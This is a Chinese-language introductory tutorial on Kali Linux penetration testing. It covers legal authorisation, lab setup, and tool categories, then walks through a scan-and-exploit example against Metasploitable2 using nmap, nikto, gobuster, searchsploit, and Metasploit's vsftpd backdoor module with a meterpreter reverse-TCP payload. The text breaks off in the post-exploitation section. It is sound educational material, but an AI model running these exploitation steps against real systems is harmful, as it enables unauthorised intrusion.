Kali Linux 安全渗透测试综合教程
Kali Linux 是由 Offensive Security 公司维护的,基于 Debian 的 Linux 发行版,它预装了数百种用于渗透测试、安全研究、计算机取证和逆向工程的工具,本教程将带你从零开始,了解 Kali Linux 并掌握其核心使用方法。

(图片来源网络,侵删)
第一部分:基础准备
在开始之前,你必须建立正确的观念和基础。
法律与道德(最重要!)
- 法律红线: 未经授权对任何系统进行扫描、探测或攻击都是非法的,这可能导致严重的法律后果,包括罚款和监禁。
- 道德准则: 渗透测试必须在书面授权的范围内进行,授权书应明确规定测试的范围、目标、时间和技术限制,你的目标是帮助系统所有者发现并修复漏洞,而不是造成破坏。
- 实践环境: 永远不要在你不拥有的系统上练习! 你需要搭建自己的实验环境。
必备基础知识
- Linux 命令行: 你必须熟练使用 Linux 命令行,Kali 的图形界面只是辅助,真正的渗透测试是在终端中完成的。
- 常用命令:
ls,cd,cp,mv,rm,mkdir,pwd,cat,grep,find,chmod,ssh,scp。 - 学习资源: Linux Journey 是一个非常好的交互式学习网站。
- 常用命令:
- 网络基础: 理解网络是如何工作的至关重要。
- 核心概念: TCP/IP 模型(应用层、传输层、网络层、链路层)、IP 地址、子网掩码、网关、DNS、HTTP/HTTPS、DNS 查询过程、TCP 三次握手等。
- 学习资源: CompTIA Network+ 认证的内容或计算机网络相关书籍(如《图解HTTP》)。
- 编程与脚本:
- Python: 是渗透测试人员的“瑞士军刀”,你需要用它来编写自动化脚本、解析数据、利用漏洞,学习基础语法、文件操作、网络请求库(如
requests)。 - Bash: 用于编写 Shell 脚本,自动化一系列命令行操作。
- Python: 是渗透测试人员的“瑞士军刀”,你需要用它来编写自动化脚本、解析数据、利用漏洞,学习基础语法、文件操作、网络请求库(如
搭建实验环境
这是你合法地练习所有技术的唯一途径。
- 虚拟机软件: VMware Workstation Pro / Player 或 VirtualBox(免费)。
- 目标系统:
- Metasploitable2 / Metasploitable3: 专门设计为“易受攻击”的 Linux 虚拟机,是练习渗透测试的绝佳靶机。
- OWASP Broken Web Apps (BWA): 包含了多种有漏洞的 Web 应用。
- Hack The Box (HTB): 一个在线的渗透测试平台,提供大量模拟真实环境的靶机。
- TryHackMe: 另一个优秀的在线学习平台,提供引导式的学习路径和房间。
第二部分:Kali Linux 入门
安装与启动
- 安装: 下载 Kali Linux 的 ISO 镜像(推荐 "Virtual Machines" 版本),使用虚拟机软件创建新的虚拟机并安装,安装过程与标准的 Debian/Ubuntu 类似。
- 启动与更新: 首次启动后,打开终端,执行以下命令更新系统:
sudo apt update && sudo apt upgrade -y
Kali Linux 界面与核心工具
Kali 的桌面环境包含大量预装的工具,它们被分类在应用程序菜单中。
- 信息收集:
netdiscover: 主动/被动地发现局域网中的主机。nmap: 端口扫描和服务识别的王者(必学!)。whois: 查询域名注册信息。maltego: 用于开源情报(OSINT)的图形化工具。
- 漏洞分析:
nmap(脚本引擎): 可以使用 NSE 脚本检测特定漏洞。searchsploit: 在 Exploit-DB 数据库中搜索公开的漏洞利用代码。nikto: Web 服务器扫描器,扫描已知的危险文件、CGI 等。
- Web 应用分析:
Burp Suite: Web 应用渗透测试的必备神器(有社区版和专业版)。OWASP ZAP: 另一个优秀的 Web 代理扫描工具,开源免费。sqlmap: 自动化的 SQL 注入工具。wfuzz: Web 模糊测试工具,用于发现隐藏的参数、目录、文件等。
- 密码攻击:
John the Ripper (John): 著名的密码哈希破解工具。Hashcat: 号称世界上最快的密码破解工具,支持 GPU 加速。crunch: 生成自定义的密码字典。
- 无线攻击:
aircrack-ng套件:用于 Wi-Fi 网络的监控、攻击和测试。bettercap: 强大的网络攻击和监控框架。
- 漏洞利用:
Metasploit Framework (msfconsole): 一个强大的漏洞利用和开发平台(必学!)。
- 后渗透:
meterpreter: Metasploit 的一个强大的后渗透载荷,提供远程控制功能。Responder: 用于捕获 LM/NTLM 哈希、SMB 中继等。
- 报告工具:
Dradis: 用于协作和漏洞报告的平台。
第三部分:渗透测试方法论与实践
一个标准的渗透测试通常遵循以下阶段,我们将用一个简单的例子(针对 Metasploitable2)来说明。

(图片来源网络,侵删)
信息收集
目标是尽可能多地收集关于目标的信息。
- 示例: 假设你的靶机 IP 是
168.1.101。 - 操作:
- 发现主机:
netdiscover -i eth0 -r 192.168.1.0/24
- 端口扫描 (使用 nmap):
# 快速扫描 top 1000 个端口 nmap -F 192.168.1.101 # 全面扫描所有 TCP 端口,并检测服务版本和操作系统 nmap -sV -O -p- 192.168.1.101
- 分析结果: 假设
nmap发现了开放的 22 (SSH), 23 (Telnet), 80 (HTTP) 端口,并识别出服务版本。
- 发现主机:
扫描与分析
基于收集到的信息,寻找潜在的漏洞。
- 示例: 发现了 Web 服务 (端口 80)。
- 操作:
- Web 应用扫描:
nikto -h http://192.168.1.101
- 目录/文件爆破:
gobuster dir -u http://192.168.1.101 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
- 漏洞搜索:
# 根据 nmap 的服务版本搜索 searchsploit "vsftpd 2.3.4"
- Web 应用扫描:
漏洞利用
尝试利用发现的漏洞获取对系统的访问权限。
- 示例:
searchsploit发现了一个针对vsftpd 2.3.4的远程代码执行漏洞。 - 操作 (使用 Metasploit):
- 启动 Metasploit 控制台:
msfconsole
- 搜索并选择模块:
search vsftpd 2.3.4 use exploit/unix/ftp/vsftpd_234_backdoor
- 配置模块参数:
show options set RHOSTS 192.168.1.101 set PAYLOAD linux/x86/meterpreter/reverse_tcp
- 执行攻击:
exploit
- 获取 Shell: 如果成功,你将获得一个
meterpreter会话。
- 启动 Metasploit 控制台:
后渗透
一旦获得访问权限,你需要提升权限、维持访问、收集敏感信息。

(图片来源网络,侵删)
- 示例: 你现在拥有一个低权限的
meterpreterShell。
